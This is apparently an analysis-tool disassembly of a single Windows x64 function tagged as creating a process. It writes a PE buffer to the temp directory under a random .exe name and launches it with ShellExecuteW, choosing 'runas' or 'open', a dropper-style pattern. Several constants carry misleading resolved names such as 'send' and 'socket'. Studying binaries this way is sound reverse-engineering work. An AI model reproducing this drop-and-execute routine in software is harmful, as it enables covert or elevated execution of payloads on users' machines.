Function at 0x1400663f0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x1400f3c00]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov r15, rcx
mov qword [rbp - 0x48], rcx
xor r13d, r13d
mov edi, r13d
mov dword [rsp + 0x30], r13d
mov ecx, 4
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
mov eax, dword [rcx + rdx]
cmp dword [0x1400f7c68], eax
jle 0x140066484
lea rcx, [0x1400f7c68]
call fcn.1400a9d90
cmp dword [0x1400f7c68], 0xffffffff
jne 0x140066484
lea rcx, [0x1400c91d0]
call fcn.1400aa1e4
nop
lea rcx, [0x1400f7c68]
call fcn.1400a9d30
mov rax, qword [r15]
mov r12, r13
test rax, rax
je 0x14006649b
mov ecx, 0x5a4d
cmp cx, word [rax]
sete r12b
lea r14, str..exe
movzx ebx, byte [rsp + 0x34]
test r12, r12
je 0x1400664d0
mov rax, r14
cmp qword [r14 + 0x18], 0x10
jb 0x1400664b9
mov rax, qword [r14]
cmp qword [r14 + 0x10], 4
jne 0x140066b38
cmp dword [rax], 0x6578652e
jne 0x140066b38
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
or edi, 1
mov dword [rsp + 0x30], edi
mov esi, recv
movabs r13, 0x948b0fcd6e9e0653
lea r15, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_________._
call fcn.140091690
movsxd rcx, eax
mov rax, r13
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x51
sub rcx, rax
movzx r9d, byte [rcx + r15]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
cmp rcx, rdx
jae 0x14006656e
lea rax, [rcx + 1]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x38]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140066581
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x38]
call fcn.140045130
sub rsi, 1
jne 0x140066512
mov r15, qword [rbp - 0x48]
xor r13d, r13d
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14006659b
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rsp + 0x38]
call fcn.140041720
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], send
mov byte [rax], 0
or edi, 2
mov dword [rsp + 0x30], edi
lea rax, [rbp - 0x30]
mov qword [rbp + 0x20], rax
lea rax, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rax, qword [rsp + 0x78]
mov qword [rbp], rax
mov rax, qword [rbp - 0x78]
mov qword [rbp + 8], rax
lea rdx, [rbp]
lea rcx, [rbp - 0x30]
call fcn.140049d10
or edi, 4
mov dword [rsp + 0x30], edi
and edi, 0xfffffffb
mov dword [rsp + 0x30], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r13w
or edi, 0x20
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov edx, 0x105
lea rcx, [rsp + 0x58]
call fcn.14003fc60
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rcx, qword [rsp + 0x58]
call fcn.1400b0eb8
mov qword [rbp + 0x60], rax
xor r8d, r8d
mov edx, eax
lea rcx, [rsp + 0x58]
call fcn.14003fc60
mov eax, dword [rbp + 0x64]
cmp eax, 0xffffffff
jne 0x1400666ab
mov dword [rbp + 0x10], socket
lea rax, [0x1400f3cc0]
mov qword [rbp + 0x18], rax
movaps xmm0, xmmword [rbp + 0x10]
mov eax, socket
jmp 0x1400666bd
mov dword [rbp - 0x40], eax
lea rcx, [0x1400f3cd0]
mov qword [rbp - 0x38], rcx
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp + 0x60], xmm0
and edi, 0xffffffdf
mov dword [rsp + 0x30], edi
or edi, 0x10
mov dword [rsp + 0x30], edi
test eax, eax
jne 0x140066b82
and edi, 0xffffffef
mov dword [rsp + 0x30], edi
or edi, 8
mov dword [rsp + 0x30], edi
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x70]
call fcn.14002de90
nop
and edi, 0xfffffff7
mov dword [rsp + 0x30], edi
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x140066742
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006673d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066b98
call fcn.1400a9c00
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r13w
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140066796
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066791
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066b9e
call fcn.1400a9c00
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r13w
and edi, 0xfffffffd
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1400667ea
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400667e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066ba4
call fcn.1400a9c00
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], send
mov byte [rsp + 0x78], 0
and edi, 0xfffffffe
mov dword [rsp + 0x30], edi
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14006683f
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006683a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066baa
call fcn.1400a9c00
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], send
mov byte [rsp + 0x38], 0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x90]
call fcn.1400abf60
mov r8d, 0x22
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x90]
call fcn.14005aac0
nop
cmp qword [rbp + 0x118], 0
je 0x140066a35
mov rdx, qword [r15]
mov r8, qword [r15 + 8]
sub r8, rdx
lea rcx, [rbp + 0x90]
call fcn.14005a110
lea rcx, [rbp + 0x90]
call fcn.140046590
lea rcx, [rbp + 0x98]
call fcn.14005a680
test rax, rax
jne 0x1400668fd
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0xd8], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx + 0xa0]
and eax, 0x17
mov dword [rbp + rcx + 0xa0], eax
and eax, dword [rbp + rcx + 0xa4]
jne 0x140066bb0
call fcn.140076210
lea rdx, str.open
test eax, eax
lea rax, str.runas
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140066930
lea rcx, [rbp + 0x38]
call fcn.1400356d0
nop
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x68]
call fcn.140035950
bts edi, 7
mov dword [rsp + 0x30], edi
lea r8, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae r8, qword [rbp - 0x68]
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 8
cmovae rdx, qword [rbp + 0x38]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
btr edi, 7
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x1400669d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400669ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066bff
call fcn.1400a9c00
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r13w
mov rdx, qword [rbp + 0x50]
cmp rdx, 8
jb 0x140066a24
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066a1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066c05
call fcn.1400a9c00
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], 7
mov word [rbp + 0x38], r13w
lea rax, [rbp + 0x138]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x90], rax
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0x98]
call fcn.140059db0
nop
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x90], rax
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x8c], edx
lea rax, [rbp + 0x138]
mov qword [rbp + 0x30], rax
lea rax, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x138], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x138], rax
lea rcx, [rbp + 0x138]
call fcn.1400b1e24
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 8
jb 0x140066b21
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066b1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066b7c
call fcn.1400a9c00
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], 7
mov word [rbp + 0x70], r13w
add r14, 0x20
lea rax, [0x1400f3d60]
cmp r14, rax
jne 0x1400664a7
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.1400a9be0
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400892f0
nop
lea r8, [rsp + 0x58]
lea rdx, [rbp + 0x60]
lea rcx, str.temp_directory_path
call fcn.14002e750
nop
call fcn.1400892f0
nop
call fcn.1400892f0
nop
call fcn.1400892f0
nop
call fcn.1400892f0
nop
test al, 4
je 0x140066bbd
lea rbx, str.ios_base::badbit_set
jmp 0x140066bd1
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x40]
call fcn.14002c270
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.14002d3e0
lea rdx, [0x1400f10b0]
lea rcx, [rbp - 0x30]
call fcn.1400ace54
nop
call fcn.1400892f0
nop
call fcn.1400892f0
int3